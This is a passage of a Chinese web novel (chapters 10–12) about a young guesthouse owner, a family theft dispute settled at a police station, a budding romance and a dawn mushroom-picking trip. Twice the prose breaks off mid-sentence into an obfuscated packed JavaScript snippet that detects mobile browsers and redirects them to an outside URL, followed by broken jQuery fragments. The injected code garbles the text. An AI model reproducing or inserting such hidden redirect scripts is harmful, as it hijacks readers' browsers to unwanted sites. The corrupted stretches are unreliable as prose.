“因为玉没丢。”琼云回头指了一下屈朗,“他看到你进我房间找东西了,有件事情你倒是说对了,我和他确实有一腿。” 说到这里,师庆和奶奶都对琼云露出了诧异的表情。 但琼云没理会,接着说:“事情发生在昨天中午我在楼下午休的时候,他不想打扰我休息,所以当时他看见以后,自己先偷偷拿走了,没叫醒我,小年轻都这样,喜欢逞英雄,看到他脸上的创口贴了吗?因为他昨天在外面出了点事,没能及时告诉我,所以才会发生后面那些误会。” 四叔撞到了脑袋,反应有些迟钝,没抓到重点,只顾激动地往琼云头上扣帽子:“你承认你们两个有一腿,你想包庇他,人家说嫁出去的女儿泼出去的水,你还没嫁出去呢!” 琼云没立即回应四叔,而是先瞥了眼奶奶,才说:“我把玉藏在被垫底下的事情是奶奶告诉你的,没错吧?” “第二个人证。”琼云指了一下奶奶,奶奶心虚地垂下了松垮的眼皮,眼睛只剩两道黑漆漆的缝隙。 然后琼云又指向四叔:“你失业了,还被骗了二十万,婶婶可以作证,她就算站在你这边不承认,查也可以查到。” “我什么不承认?”四婶不知道什么时候已经报完警,没听到前情,疑惑地插嘴进来。 于是琼云给四婶重复了一遍前情,结果四婶听完,和四叔一样咬定她胳膊肘往外拐。 琼云懒得解释,继续对四叔说:“你那天过来拍了几张玉的照片,肯定发给你那个做古董收藏的朋友看过了,聊天记录都还在,这是物证,你缺钱所以打算把玉偷走卖掉,动机充分,证据完整,到时候警察过来肯定要问清楚原因,你告诉我,这些你怎么解释?” 四叔说不出话来,贼兮兮地瞥了几眼自己的裤兜,悄悄把手机掏出来。 琼云知道他打的什么注意:“你删掉也没用,到了派出所,删掉的信息照样给你复原出来,要是普通的玉那倒没关系,但这是从墓里挖出来的古董,私下交易是违法的,性质完全不一样,警察还会顺藤摸瓜摸到你朋友那边,你肯定不想得罪他吧。” 四叔听得掌心发汗,紧紧攥住手机,布满血丝的眼睛瞪得有些疯癫:“你什么意思,威胁我啊?” 琼云摇了摇头,说:“所以我不会把这些事情告诉警察,我和我爸也不会把这件事说出去让别的亲戚朋友知道,你现在需要钱不是吗?从派出所回来以后,你借给我家那五万块钱马上还给你,还有我男朋友。”琼云偏脸指身后屈朗一家,“他家长现在愿意给你两万三万私了,但是你要让他们儿子拘留,他们还会愿意给你钱吗?你到时候一分一角都捞不着。” “你怎么选?” 10.第 10 章 这座古城不算特别出名,内部没有严防死守的警力布置,在这里报警和在普通的乡镇报警,出警速度没有多大差别,因此留给琼云串通口供的时间非常充裕。 琼云与四叔四婶商量完,又拉着屈朗单独聊了几句,关键物证“玉璧”变成了一只“祖传的玉手镯”,剥除四叔企图盗窃玉璧的事实,修改成琼云和屈朗一对不懂事的熊孩子没经过长辈同意擅自取走玉手镯把玩,被长辈误会成偷窃,以至于双方发生争执,闹到动手的地步。 但是屈朗不同意:“明明是你叔叔想偷东西,被揭穿了还那么难听地骂你,你为什么要帮他隐瞒?” 琼云不答,只问:“难道你想被拘留吗?” 屈朗不屑地哼了一声,说:“拘留就拘留。” 见他这样硬气,琼云便以利诱:“你拘留结束还不是要被你爸妈带回去,这样,你只要答应我,我就想办法让你爸妈同意你留在这里,怎么样?” 屈朗把脸撇向一边:“不用,我自己会想办法。” 油盐不进,软硬不吃。 琼云气死了,气得咬牙切齿,鼓着脸颊呼气,脸边的碎发被掀动,她找他的茬:“你到底跟你妈说什么了?” 这话一出,屈朗瞬间涨红了脸,高原的紫外线强烈,他来了没几天,皮肤就被晒深了一个色号,再加上两个巴掌印和几处淤青一叠,红起脸来,红里透紫,紫里透黑,简直是车厘子成精,还是运输过程中被撞得鼻青脸肿的那种损耗品。他低下头去,双手攥住衣摆,用足尖去碾地上的小石子,然后小声地、结结巴巴地说:“我……我跟我妈说,说……我,我……喜欢你,让我回去,我就去死。” “这不是会撒谎吗?刚才跟我装什么刚正不阿呢?”琼云摊手。 “我没撒谎!”屈朗猛然抬起头看向琼云,“我本来就喜欢你,我看你第一眼我就喜欢你!”表白的架势气贯长虹,但一结束就立即泄了气,又低下头去,用足尖去碾地上的小石子。 “……”琼云被整不会了,心脏和肺腑都酥酥麻麻的,头也有点晕,颅腔里好像一瞬间涨满了一大丛荷叶,水珠在上面滚来滚去,滚得荷叶摇摇摆摆,好奇怪,她用指甲使劲掐了一把大腿上的肉,让自己恢复理智,然后清了清嗓子,质疑道:“你才认识我几天,离开我就活不下去了?油嘴滑舌。” 屈朗想了想,抬起头来再次看向琼云,不好意思地说:“那……倒也不至于。” “所以你还是会撒谎的。” “那我也不会答应你,这是两码事。” “我不想你被拘留。”琼云急切地说。 屈朗登时愣住,他呼吸着庭院中经雨夜漂洗过后清雅凉爽的花香,直觉四肢舒展,骨骼轻盈,紧接着做出了一连串秀才的招牌动作——尴尬羞涩地笑——用拳头捂嘴——扭头惊讶窃喜。 紧急关头,娇羞个什么劲? 琼云严肃地说:“所以你要和我统一口径。” 屈朗摇头拒绝,一边羞涩地笑,一边摇头,搭配起来效果诡异,显得他为人十分狡诈。 “你坚决不肯?”琼云做最后确认。 屈朗仍旧一边笑一边摇头拒绝。 琼云叹了口气,朝他靠得更近,压低嗓音说:“我求你了,我这么做当然有我的原因,只是不方便告诉你。” 战损车厘子脸上的幸福笑容瞬间冻住,挂了霜,颜色都变浅了:“你刚才说不想我被拘留是骗我的。” “不完全是,这也是一部分原因啊,你打了我叔叔帮我出气,我很感谢你。” 屈朗倒吸一口气,表现得很惊讶,用撒娇的语气嗔怪道:“只是因为感谢啊?我还以为你心疼我呢。” 琼云听得嘴角抽搐,冒了一身鸡皮疙瘩——这题超纲了! 她转过身去背对他,捂住自己的脸,在心里尖叫了一声,才缓过来,然后捋了捋头发,装作无事发生,转回去继续给他洗脑:“我们拿走的是一只玉手镯,我家祖传的玉手镯,这只是一场误会。” 屈朗抄手抱胸,一副自信坦然的样子,摇了摇头,说:“没有误会,你叔叔想偷走这只玉手镯拿去卖钱,但是被我发现了。” 显而易见,他只被洗了一半的脑。 琼云气得又开始呼气吹脸边的碎发:“你非要这样?” 屈朗颔首作答。 “那好。”琼云转身离开,走向邹晓菲和屈延峰。 屈朗迟钝了两秒才反应过来,瞬间变了脸色,朝琼云奔去:“你要干什么!?” 琼云指着屈朗,大声对屈延峰说:“不想你儿子被拘留就拦住他。”屈朗冲到近前,却被长期保持着健身习惯的屈延峰一把捞走,用背后抱的方式锁住肩胛和双臂,只能像虫子一样蛄蛹、像吉娃娃一样吠叫。 琼云用手挡住口型凑到邹晓菲耳畔,邹晓菲却警惕地把脑袋往后仰,躲开了:“你想说什么直接说。” 琼云当着屈朗的面打他小报告:“你儿子很想被拘留,但是我不想,你和叔叔也不想。” 一句话达成共识,邹晓菲将信将疑地把耳朵凑了回去。 于是等警察抵达现场做初步询问的过程中,屈朗的人设是“离家出走后·为了不被父母逮回去·无所不用其极·企图构陷并惹怒报警方·达成被拘留结局·能拖一天是一天的青春期叛逆魔丸”。 但屈朗始终没有放弃抵抗,他多次插嘴,反驳在场其他人的说法:“是她叔叔想偷,被我发现了,不是我拿的,一只手镯有什么好玩的?又不是游戏机。” “你闹够没有!?”琼云瞪着眼睛对屈朗吼道。 屈朗也瞪大眼睛吼回去:“我没在闹!” “你拘留完还不是要被你爸妈逮回去!我已经劝我叔叔答应调解了,我不想你被拘留,你非要辜负我!?” “你……”屈朗张合嘴唇,一时间竟你不出个所以然来,他仿佛吃东西被噎到般摁住锁骨窝,心想自己怎么被说得像个渣男一样,连“辜负”这种词都被安到身上了。 哪知琼云接下去说的话更是惊为天人:“我们分手吧,我再也不想见到你了!” 屈朗用气音爆了句粗口,脸上的表情十分精彩:“我们两个都没在一起过,分什么手?我要早知道你这样满嘴跑火车,我根本就不会喜欢你!” 琼云梗着脖子,气势不落下风:“谁在乎你喜不喜欢我?没人稀罕!” “莫吵啦莫吵啦!去派出所。”领头的老民警上前挥舞双臂阻止无意义的争吵,他与琼云有着错综复杂的亲戚关系,两家人时常在红白喜事的流水席上碰面,算是熟人,他点了一下琼云的肩头,然后指指堂屋,问:“你在屋头待的,还是也跟去派出所去?” 琼云心有疑虑:“都问清楚了,还去派出所整哪样?” “你老耶送医院去了,好一阵才回得来,我们不好一直待在这点的嘛,派出所还有一大堆事情要整噶。” 师庆和奶奶也跟着去医院了,琼云想了想,掏出手机,给管悠打了个电话,问她大门钥匙有没有带在身上,告诉她,自己要去趟派出所,她回来时可能会见不到人。管悠是个热爱生活、对这个世界充满求知欲的人,她听到屈朗企图向警方自证清白然后和他妈吵起来的声音后,说她也想去派出所。 琼云挂断了电话。 警车开不进窄巷,上车前有一段路需要靠步行,琼云在这段短暂的路途中企图再劝一次屈朗,她揪了揪他的衣服,没动静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176662|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又戳了戳他的胳膊,他故意远离她。 他在生气,被冤枉、被亲近的人联手强迫做不愿意做的事情,谁能不生气。 琼云无奈,小步跑着追上去,嘴唇掠过他耳畔,用气音飞速说了一句:“除了玉手镯,别的都随你。” 他听了这话,总算愿意回头看她一眼,但只看了一眼,揉了揉被气音吹得发痒的右耳,就立即转回去了。 琼云犹疑要不要给四叔打个电话通知一声,让他做好心理准备,但想了想,却只是给师庆发了条短信,让他把那五万块钱还回去,还回去了,就不欠他的了。 四叔从医院回来,赶到派出所时,天已经黑透了,开车送他去医院的民警提交了医院出具的材料作为证据。 随后,刚回来的四人都被单独请去询问室做了一份笔录,再接着,琼云作为关键证人又被叫去问了几个问题进行补充。 到此为止,侵害人、受害人、证人三方的笔录包括物证都已完备,警方核对过后,对与之相关联的众人梳理起了案件的前因后果,第一句话就直指四叔企图盗窃玉手镯。 四叔毫无防备,他扭头对上琼云的视线,瞬间发了狂般朝她扑过去,局面迅速陷入混乱,琼云离开座位踉跄地朝后退,屈朗起身挡在她身前,四叔被师庆以一种极为滑稽的姿势抱住,奶奶在旁边一边惊呼一边急得直跺脚,四婶虽然不及四叔那样反应激烈,却也指着琼云破口大骂。 嘭!嘭!嘭! 民警用力捶了三下桌子,喝道:“整哪样整哪样?这点可是派出所!” 惊堂木一响,屋内顿时鸦雀无声。 屈朗摁着四叔的胸口,嘲讽道:“你这么激动干什么?说的难道不是事实吗?你侄女会包庇你,我可不会,脑袋开花还嫌不够痛是不是?要不要我再给你一拳啊?” “我给你一拳。”邹晓菲踩着高跟鞋哒哒哒地跑过来,一拳头砸到屈朗背上。 屈延峰突然笑起来:“你在这拘留算了,我跟你妈先回去。” 屈朗不予理会,连头也不转。 琼云躲在他背后,对四叔说:“那五万块钱已经还给你了,我跟我爹不欠你什么了,手镯的事就算了,到此为止,大家亲戚一场,我跟我爹也不和别人去说,能调解尽量调解,把钱收下吧。” 晓之以理,动之以情,诱之以利,一套组合拳打下来,四叔稍微恢复了点理智,前倾的身体站直来,扒开八爪鱼般缠在他身上的师庆。 但问题并没有就此解决,在商讨赔偿金额时,邹晓菲把原先的两万块起步价对半砍掉,压到了一万。 四婶登时就怒了,一拍桌子,骂道:“你这个女人□□时气的!之前还说两万呢,咋个出尔反尔?” 邹晓菲昂着高傲的头颅,冷笑道:“你自己之前不要,把我一家搞到派出所来,连航班都赶不上了,还好意思跟我讨价还价。” “两万。”四叔突然道。 “一万五。”屈延峰举起五根手指,对屈朗笑道,“儿子,你在这关几天,也是一种体验嘛。” “两万。”四叔坚持这个数目,紧接着补充道:“包括医药费。” “成交。” …… 从派出所出来的路上,琼云主动跟在屈朗身旁,一番话在肚子里翻来倒去半天,炒出一桌子菜了,才开口吐出来:“你明天就和你爸妈回去吗?” 屈朗连看都没回头看她一眼,只抛下一句:“关你什么事。” 是不关她的事,琼云不再说话,她原本想问他如果来得及,明天早上要不要一起去山上采菌子。但这样没来得及问出口也好,被拒绝会失落,离别前在彼此的生命中踩踏下更多的足迹,也只是徒增伤心罢了。 11.第 11 章 一行人从派出所回到琼云家中的时候,已经将近晚上十一点了,对于作息健康的人而言,这个时间点就连刚刚睡着都算很晚了。 但管悠不是个作息健康的人,她听到开锁的动静,连忙跑下楼去,看见一大群人乌泱泱地从狭小的后门挤进来,其中还有两张她从没见过的面孔,连忙逮住琼云问情况。 琼云婉拒了,她已经向四叔承诺不会把他的丑事向外宣扬,从派出所回来前,还特意提醒那位与他们一家有着错综复杂亲戚关系的老民警,也不要把这件事当作轻松有趣的八卦在茶余饭后与任何亲友谈论,毕竟狗被逼急了是会咬人的。 而屈朗见琼云这个态度,自然也不会向管悠透露事情的来龙去脉,于是管悠明明又嗅到了瓜的清香,又期待了老半天,又没吃到瓜,只能又悻悻然地回到自己房间去。 随后,琼云与屈朗一家三口一起进到了屈朗的房间里,邹晓菲和屈延峰两人没赶上航班,今晚需要找个地方过夜,他们一方面出于方便盯着儿子的考虑,另一方面在看到琼云护着自家儿子的行为后,对琼云的观感发生了转变,因此不介意在琼云家留宿一晚。 四个人在房间里,夫妻俩专心教育儿子,琼云则沉默地在一旁做她的床上用品搬运工,她洗了把手,将被子什么的从柜子里取出来,一件或两件三件地运送到对面房间去。 在琼云铺完被子,把蚊帐也搭得差不多了的时候,夫妻俩才结束对儿子的教育工作,慢慢悠悠逛街似的逛过来。 邹晓菲将房间打量了一圈,嘴里难得吐出中听的话:“你这房间装修得还挺漂亮的嘛,没有混搭得不三不四的,看着舒服。” 琼云面无表情地说了句谢谢,手上搭蚊帐的动作没停。师庆的木雕作品能去全国各地参展,审美和技术水平自然出类拔萃,何况自己设计自己经营,没有甲方干扰,不必委曲求全,也不会消极怠工,最终的成品肯定非同凡响,这房间的装修设计被很多租客夸过,琼云已经被夸得没有感觉了。 “这是什么?”邹晓菲在房间里打转,很快就注意到了桌子上的两只透明盒子,她俯身凑近去看,看了更觉得奇怪,“鱼缸吗?可是没有水啊。”她用指甲敲了一下盒子,里面的蜘蛛感受到振动,还以为要开饭了,迈开八条毛茸茸的腿从缝隙中钻了出来。 邹晓菲顿时吓得脸色惨白,一边尖叫,一边像刚破壳而出还不会飞的幼鸟一样扑腾进屈延峰怀里。 琼云听到尖叫声,给蚊帐打完最后一个结,朝夫妻俩小步跑过来,边跑边伸出尔康手:“不用怕,那是蜘蛛。” 这话说出口,琼云才反应过来自己说了一句废话,害怕蜘蛛实乃人之常情,难道告诉对方,箱子里装着的不是科幻电影里恐怖的外星入侵物种,而是地地道道的地球原住民,对方就不会害怕了吗? “怎么了?”屈朗听到尖叫声也很快赶了过来,一进门就看见他老爸老妈亲密地抱在一起,不禁发出灵魂叩问:“你们两个到底要不要离婚?” 屈延峰开朗地回答:“回去马上离。”嘴上虽然这么说,手却轻轻拍打着怀里人的肩背安抚她。 邹晓菲捂着胸口躲在屈延峰怀里缓了好一会儿,仍心如擂鼓,喘气如牛,片刻后,她稍微振作起来,与孩子他爸对视,惊恐地张合了几下嘴唇。 琼云听不清她在说什么,心里感到恐慌,生怕这笔生意黄了,正欲解释,邹晓菲却突然转过身来面对她。 邹晓菲伸出双手,想要捧住琼云的肩臂,但伸到一半又害怕地缩了回去,仿佛琼云身上有什么东西会咬她似的。 “对不起。”邹晓菲突然向琼云道歉,把琼云当佛祖似的,双手合十拜了拜,紧接着鞠了个躬,鞠完躬回来,晃着合十的双手继续拜,“阿姨之前有什么对不起你的地方,阿姨跟你道个歉。” 琼云一脸懵逼。 屈朗二脸懵逼。 邹晓菲绝望又凄凉地摇了摇头,一边摇头一边向琼云问:“你想要什么,你告诉我,你到底想要什么?” 琼云不大理解她情绪的转变为何如此浮夸,只是转动眼珠看了眼天花板,然后用手比划数字:“打完折扣是一百三一晚,你儿子本来今天就该走的,所以是两百六。” 邹晓菲听完快哭出来了:“你不要跟我开玩笑了。” 琼云茫然:“我没有开玩笑。” 邹晓菲又激动得想要抓住琼云的手,结果又在半道缩了回去,再开口说话时,嗓音已经带哭腔:“你是不是给我儿子下蛊了?” 听到这话,琼云恍然大悟,哭笑不得:“我为什么要给你儿子下蛊?” 疑似中蛊的屈朗扭头一脸崇拜地看向琼云:“你还会下蛊啊,好酷~” 你来添什么乱?! 琼云急道:“我不会下蛊!那只蜘蛛是昨天晚上在你房间里抓的!那是我朋友的宠物!” 然而邹晓菲已经听不进任何解释,她手舞足蹈、自言自语:“我知道我儿子长得很帅,性格也好,幼儿园开始就有好多女孩子喜欢他,但那也不是他的错,毕竟我跟他爸的基因就摆在这里……” 琼云听着听着不禁露出了鄙夷的表情——这也太自恋了。 邹晓菲魔怔地自言自语到一半,突然拉住屈朗的手,既哀切又亢奋地道:“儿子,妈带你去整容吧!” 屈延峰手里比划着,插嘴道:“整什么容,要我看,这姑娘喜欢你,你就干脆留下来跟她过吧,大学也别去上了。” 邹晓菲立即反对:“大学还是要上的。” 琼云无力辩解:“我真的不会下蛊。” 邹晓菲又快哭出来:“你都没有否定我,说蛊毒不存在,你没给我儿子下蛊,我儿子怎么会这么喜欢你呢?连为你拘留都不愿意跟我回去。” “呃……蛊毒……”琼云回想亲戚堆里老一辈的人几乎都信誓旦旦地说蛊毒是真实存在的,有的还亲身经历过,诉说的故事甚至能够互相佐证,“那……应该是……有的吧。” “但是,”琼云突兀地转折,“这里是景区,每天来来往往那么多人,阿姨你想想看,政府怎么可能会允许放蛊户留在这里,你要知道蛊毒是不受控的,养蛊的人必须定期把蛊放出去咬人,吸食人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187222|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精气,否则蛊会饿死的,但蛊又不会只咬坏人,它们没有道德观念,不分善恶,看上谁就咬谁,还要不要发展旅游业发展经济了?” 邹晓菲被惊呆:“你这么了解,你还说你不会下蛊?” 琼云打自己嘴巴——说这么多干什么? 打完,手腕垂下去的瞬间,突然被一只手用力擒住,紧接着另一只手腕也被擒住,带动她的身体猛地转过去,与屈朗面对面。 屈朗怜惜地捧着琼云的双腕,脸上展露出一种深情告白时才会出现的表情,天上的云彩似乎正在飘洒粉色花瓣雨,香甜的空气仿佛播放着浪漫的爱情歌曲,他恳切地说道:“琼云,你把我身上的蛊解开吧,我放不下我前女友,我还爱她。” 渣男! 下午刚跟她表白过呢。 琼云奋力甩开他的手。 “你什么时候又交女朋友了!?” 邹晓菲又惊又气。 屈朗不理会,隔绝所有人,只是双目无神地捂着胸口,痴呆般立在那里,他的上唇往右、下唇往左,歪张着嘴巴,嘴角似乎随时会淌出涎水来。 他这么呆立了四五秒钟,眼睛突然聚焦,看向琼云,问道:“蛊毒发作有延迟吗?” 琼云这下才明白过来他的意思,松了口气,回答道:“中情蛊,负心痛不欲生,折磨至死。” 屈朗高兴地向邹晓菲证明:“妈,你看,我变心了也不难受,她没给我下蛊。” 屈延峰贴在邹晓菲身后,歪下脑袋看着她的侧脸笑,调侃道:“你几岁了,还相信这些?傻子。” 邹晓菲出了糗,表情有些懵,小声为自己辩解道:“真的很吓人啊。” 看这一家子其乐融融的,琼云亮出收款码,问道:“还住吗?住的话扫码付款,两间二百六。” “住。”屈延峰掏出手机,干脆利落地付掉房钱。 钱一到账,琼云就拎着两只蜘蛛盒子出去了,她回到卧室,打开灯光,刚把盒子安置到桌子上,朝走廊那一侧的窗户突然被叩响,紧接着窗外那模糊的身影唤了一声她的名字。 琼云迅速跑到窗边,撩开帘子,将窗户打开。 窗外,屈朗的身体略微前倾,将双手撑在窗框底部,轻柔地问:“你有话想对我说吗?从派出所出来的时候,你当时想跟我说什么?” 琼云呼吸停滞,她认为与他人在分别前缔结过深的羁绊只会徒增悲伤,但当机会摆在她面前时,她的内心却不可抑制地欢呼雀跃。 琼云的手有些发抖,她把手掌攥成拳头,有些磕绊地说:“我……想问你,你和你爸妈,明天几点走,如果来得及的话,你明天早上要不要和我一起上山去采菌子。” 屈朗未语先笑,一口答应下来:“好啊,我妈说这几天都没休息好,要明天下午再走。” 琼云接着说:“五点就要起床,你起得来吗?” 屈朗肯定地点头:“起得来。” “凌晨上山会很冷,要多穿点衣服。” “我知道。” “那……明天见。” “明天见。” 12.第 12 章 琼云比闹铃早醒了半个小时,房间里一片漆黑,窗户透着青灰色的微光,呼吸进鼻腔和喉咙里的空气冰凉,凉得她头脑格外清晰,在床上翻来覆去,难以重新入睡,于是干脆关掉手机上设置好的闹铃,起床洗漱。 她在浴室的镜子前仔细清洁自己的脸,洗干净了仍不满意,觉得皮肤和嘴唇有些干燥,于是抹了面霜和唇膏。她昨晚没有间隔地又洗了一次头发,因此头发被扎成马尾后,有许多蓬松的碎发散在额前和脸颊旁。 屈朗昨天和她表白过了,对她而言,今天一起上山采菌子不仅仅是“好心的房东为了满足租客的好奇心而执行的一次冒险行动”,更是一场约会。 洗漱完,她又站在卧室角落的全身镜前换了好几身衣服,但挑来挑去,最后也并没有把自己搭配得多么耀眼夺目,只是普通的马丁靴、牛仔裤、杏色毛衣,再套了件酒红色的夹克衫。 琼云把自己的外观收拾妥当,看了眼时间,觉得差不多了,就捡了几块坚果巧克力,去敲屈朗的窗。 屈朗很快就把窗户打开了,他的两鬓和额顶的头发留着洗漱过后的痕迹,是湿的。 琼云把巧克力递给他:“没有早饭,只有这个。”然后瞥了眼他的衣服,问:“你不会只穿短袖上山吧?” 屈朗接过巧克力,笑道:“我穿件外套,马上。”他阖上窗户,几秒钟后就从房间里出来了,关上门,把冲锋衣的拉链拉到顶。 两人一起下到一楼,琼云往背篓里塞了两瓶矿泉水和一枚手电筒,当她在切割机旁边堆着切割废料的地上挑了块长条状木头扔进去,随后拨弄了两下废料堆,又捡起一块相似的木头的时候,屈朗突然问道:“菌子采下来要立刻煮了吃吗?我们还要带口锅上山啊?” 琼云冷不丁被逗笑:“未免太新鲜了,不如直接用嘴去啃,这是当铲子用的,有的菌子柄部很长,埋在土里,需要把土挖开。” 屈朗恍然大悟地长哦了一声,把琼云手里那条木头接过来掂量了一下,体积虽然小,质量却不轻,一头扁,一头方,扁的那头显然是用来挖土的,他用力掰了一下,很结实,掰不断。 “别玩了,背上吧。”琼云把小铲子从他手里抽走,扔进背篓,提起背带示意,等他背上了,把大门的锁和钥匙也交给他,然后把摩托车开出去,在门外等。 屈朗把大门锁上,跨坐到琼云背后,车身略微晃了晃。 琼云提醒道:“这次会开得比较快,你抓稳。”话音刚落,屈朗整个人贴到她背上,环住了她的腰,痒得她一个激灵。 琼云震惊,扭头过去,嘭的一声彼此头盔相撞,“我没让你抱我。” 但屈朗听了这话也没松手:“你开那么快,我不抱住你会翻出去的。” “你后面卡着后备箱怎么会翻出去?” “你上次速度慢得像小电驴一样当然没关系,但你这次要开快,我人比你大比你重,重心更要配合你,不然很危险的。” 很有道理,琼云无法辩驳,她发动车子,用比小电驴稍快的速度溜出古城,等上了省道,再把时速拧到六十以上。 菌子会在雨后疯长,区区几个小时就能破土而出,长成可以食用的大小,前天晚上刚下过一场小雨,因此附近野地和山上的野生菌大概率在昨天一早就被采得差不多了。 所以琼云要去更远的山区,她在省道上开出去十多公里,在一个群山环绕、人烟稀少的地方拐了道,随后又拐了许多条岔路,越拐越窄,路况越来越差,最后拐进了杂草丛生的泥土路。 下了车,两人不约而同地揉了揉被颠疼的屁股。 经过二十多分钟的路途,天空从漆黑变成了幽深的蓝色,但位于东方的启明星仍旧十分耀眼。 两人打了手电,伴随着清脆的鸟鸣声,往山上走去,一边走,一边寻找菌子的踪迹。 屈朗虽然不认得哪些菌子能吃,哪些菌子不能吃,但行动上十分积极,一会儿指着这个问琼云能不能吃,一会儿指着那个问琼云能不能吃,结果没有功劳,只有苦劳,因为他尽找有毒的问。 他找到天蒙蒙亮,好不容易找到一丛伞部鲜红,看着就能毒死人的菌子,信心十足地指着说:“这个颜色这么鲜艳,肯定有毒,不能吃。” 结果琼云蹲下去仔细一瞧,说:“这个能吃。” 屈朗满头问号:“可是它颜色这么鲜艳。” “有没有毒和颜色鲜不鲜艳没关系。”琼云把红菇一朵朵摘下。 屈朗蹲到旁边,身体与脑袋互相往反方向扭,下巴搁在肩膀上,脸朝着琼云,背篓也朝着琼云,他把近前两朵红菇摘下来,感慨道:“要是有个APP扫一下就能知道可不可以吃就好了,怎么没人研发呢?现在AI发展得这么迅速,收集分析数据很方便的。” 琼云采完红菇,站起来说:“研发不了,有些菌子能吃的和能毒死人的几乎长得一模一样,出了事,没人能承担这个责任,而且山里信号很差,就算有,也用不了。” 屈朗听到这个回答竟然并不感到失落,甚至十分兴奋:“它们好聪明啊,能吃的和能毒死人的竟然可以长得一模一样,人类每年吃掉它们那么多同胞,它们虽然不能动,也能报复回来,光长出来就可以杀死很多人类。” “是啊,菌子每年都会吃死人的,天灾人祸……” 琼云继续往前探索,拨开杂草,折断带刺的枝杈,天越来越亮,群山间突然回荡起了庄严肃穆的钟声,她指着邻边的一座山告诉屈朗,那边被开发成了景区,山上有一座寺庙。 屈朗一路上捡了许多木棍,他挑出又长又直,又足够粗壮坚硬的两根,与琼云分享。 说实在的,这木棍没什么用,两人既不钻进深山老林里去,也不攀登什么陡峭的高峰,沿途无甚艰险,但琼云始终将木棍紧紧握在手里,走在起伏平缓的小山坡上,在自己的脚印旁边戳出一个又一个小泥坑,没有价值的东西可以因为受赠者对赠与者的爱屋及乌而变得意义非凡。 菌子很快装满了小半个背篓,期间屈朗认识了一些常见的可食用菌,可以主动去采摘,于是两人终于能分头行动,提高效率。 琼云找到了一小丛火把鸡枞,这种菌子的柄部极长,大部分埋在土里,需要将周围松软的泥土挖开,又不能伤及底下与之共生的白蚁窝,挖起来非常考验耐心和熟练度。 挖到一半,屈朗突然从她身后呵道:“别动。” 夏季虫蛇众多,琼云回想起前天上山采药遇到的那条蛇,仍心有余悸,听到屈朗喊她别动,身体瞬间僵住,随后轻声问道:“在我哪个方向?” “在你身后。” “什么东西?”说完,有个尖锐的东西突然戳到了她的背后。 “举起手来。” 琼云叹了口气,略微转身,反手抓住了那尖锐的东西,那只是一根左轮手枪形状的树枝,一头略细,一头带弧度,对应扳机的位置还冒着一只短杈,食指刚好可以勾住那里。 屈朗笑得很开心。 直到琼云皱着眉头拍了拍衣服上被戳到的地方,说:“我还以为有蛇。” “你生气啦?”屈朗收回笑容,帮她拍了拍衣服,“不脏的,没留印子。” 琼云转回去继续挖鸡枞,过了会儿,屈朗又紧张兮兮地在她背后说道:“你有没有听到什么声音?” 琼云头也不抬,“有啊,你在说话,又想耍我?我不会再上当了。” “真的有声音,好像有人在哭啊。”屈朗踩着枯叶和杂草窸窸窣窣地钻到琼云身旁蹲下,眉头紧皱,左顾右盼,“是女的,这太阳都快出来了,不会有鬼吧?” 琼云暂停挖土,屏息凝神,还真隐约听到了女人在哭的声音,她勾了勾嘴角,道:“不一定是人,也可能是野兽,故意模仿人类哭的声音,吸引真正的人类过去,然后一口咬断脖子,清晨刚好是它们觅食的时间段。” “啊?”屈朗被吓得好像刚吃到一瓣酸得牙根都疼的橘子,“我们快回去吧。” 琼云冷笑道:“自己就这么点胆子,还想吓唬别人。” 屈朗的牙酸瞬间被治好了:“你也吓唬我啊。” 琼云不承认:“没吓唬你,深山老林里就是什么稀奇古怪的生物都会有的,哀牢山的灵异故事听过吧?” “这里不算深山老林吧?”屈朗朝周围打量,两人身处的地方树木并不密集,即便蹲着,也能清晰望见周遭临近的几座山。 琼云突然将食指竖在唇间,示意噤声。 沉下心来,两人听到了更多的声音,不只是哭声,还有骂声。 “应该是有人在吵架。”琼云判断。 屈朗问:“有野兽会模仿人吵架吗?” 琼云没听出他是认真问,还是在开玩笑,摸了摸自己的身体说:“我来过好多次了,身上一块肉都没少。” “那去看看?”屈朗提议。 “有什么好看的,和我们又没关系。”琼云低下头继续挖鸡枞。 “我去看看。”屈朗言出法随,立即起身去追声音的来源。 “喂你别乱走。”琼云也立即起身去追,“你不熟悉这里,走丢了,我怎么跟你爸妈交代?屈朗!” 屈朗一意孤行,根本不听劝,琼云也没有足够的力气和权威去阻拦他,于是两人距离那丛没挖干净的火把鸡枞越来越远。 由于声音的传播距离有限,再加上山间有树木遮挡,因此争吵声的源头距离他们不过百八十米,很快就露面了。 那是一对年轻的男女,女方坐在地上大哭,哭得脸上妆都花了,一边哭一边冲着男方骂,男方却蹲在旁边没心没肺地笑,手里提着个装满菌子的小竹篮,琼云凑近一瞧,全是吃了能面见列祖列宗的。 屈朗主动问女方发生了什么事情,于是女方冲男方骂得更大声了,用骂声来向屈朗讲述事情的来龙去脉,两人是从外地来的,男方灵机一动出了个馊主意,放着好好的已开发景区不去,偏要摸黑来旁边这没人的荒山野岭探险,顺道看个什么只独属于两人的狗屁浪漫日出,结果差点迷路,女方还摔了一屁股蹲,痛得人都站不起来,想叫救护车还没信号。 琼云听完的第一反应是:想殉情何必兜这么大一个圈子呢? “真站不起来了吗?”屈朗抓着女方的胳膊尝试扶她起身。 